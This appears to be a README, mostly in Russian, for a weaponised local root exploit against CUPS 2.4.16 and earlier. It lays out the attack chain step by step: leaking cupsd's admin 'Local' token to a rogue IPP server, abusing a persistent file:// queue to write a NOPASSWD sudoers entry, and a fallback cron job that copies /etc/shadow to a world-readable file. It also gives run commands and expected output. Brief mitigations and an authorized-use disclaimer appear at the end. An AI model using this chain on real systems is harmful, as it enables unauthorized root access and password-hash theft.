
Локальное повышение привилегий против root `cupsd`.
cups2root, de-harnessed)CVSS 3.x : 8.4 HIGH (приблизительно — проверьте)
CWE : CWE-287 (Improper Authentication) + CWE-269 (Improper Privilege Mgmt)
Fix : CUPS 2.4.17+
Affects : CUPS ≤ 2.4.16 with cupsd running as root and 631 reachable locally
Локальное повышение привилегий против cupsd, работающего от root. Когда cupsd вынуждают действовать как IPP-клиент по отношению к подконтрольному локальному серверу, он отвечает на вызов 401 WWW-Authenticate: Local, воспроизводя собственный admin-токен. Перехват этого токена позволяет непривилегированному пользователю управлять cupsd как admin (root). Постоянная очередь печати file:// (printer-is-temporary=false) обходит политику FileDevice, поэтому необработанный Print-Job записывает байты атакующего по любому пути от имени root — здесь это фрагмент sudoers с NOPASSWD.
Два примитива объединяются в произвольную запись файлов от root:
Local. cupsd принимает аутентификацию Local, основанную на root-сертификате в /run/cups/certs/. Действуя как IPP-клиент, он добровольно предъявляет этот admin-токен при вызове 401 WWW-Authenticate: Local. Направьте cupsd на поддельный IPP-сервер, который вы контролируете, и вы перехватите токен, действительный для управления им от имени root.file:// в качестве device-uri отклоняется по умолчанию. Создание очереди с printer-is-temporary=false делает её постоянной и обходит эту защиту; необработанный Print-Job затем записывает свои байты прямо в целевой файл от имени root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> — это собственный admin-токен cupsd; воспроизведите его против /admin/, и вы получите эквивалент root.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
Референсный PoC (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) — это демонстрационный harness: он запускается от root, порождает собственный cupsd и одноразового пользователя unpriv, затем sudo -u unpriv для имитации атакующего. Непригоден в таком виде. Изменения:
127.0.0.1:631.$ATTACKER); фрагмент <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| Статус | Версии |
|---|---|
| Уязвимо | CUPS ≤ 2.4.16 |
| Исправлено | CUPS 2.4.17 и новее |
| Файл | Роль |
|---|---|
exploit.py | PoC: утечка токена → очередь file:// → необработанный Print-Job → sudoers root |
README.md | Этот файл |
Только стандартная библиотека Python 3 — без зависимостей.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
При успехе:
[+] Local token: <token>
[+] ROOT via sudoers
затем sudo -i.
cupsd от root, где это возможно; сбросьте привилегии / изолируйте службу в песочнице.Local и backend устройств file://; сохраняйте принудительное применение политики FileDevice для постоянных очередей.systemctl disable --now cups cups-browsed и удалите пакет.Этот проект предназначен только для авторизованного тестирования безопасности, обучения и защитных исследований. Вы несёте ответственность за соблюдение применимых законов и правил взаимодействия вашей лаборатории или клиента.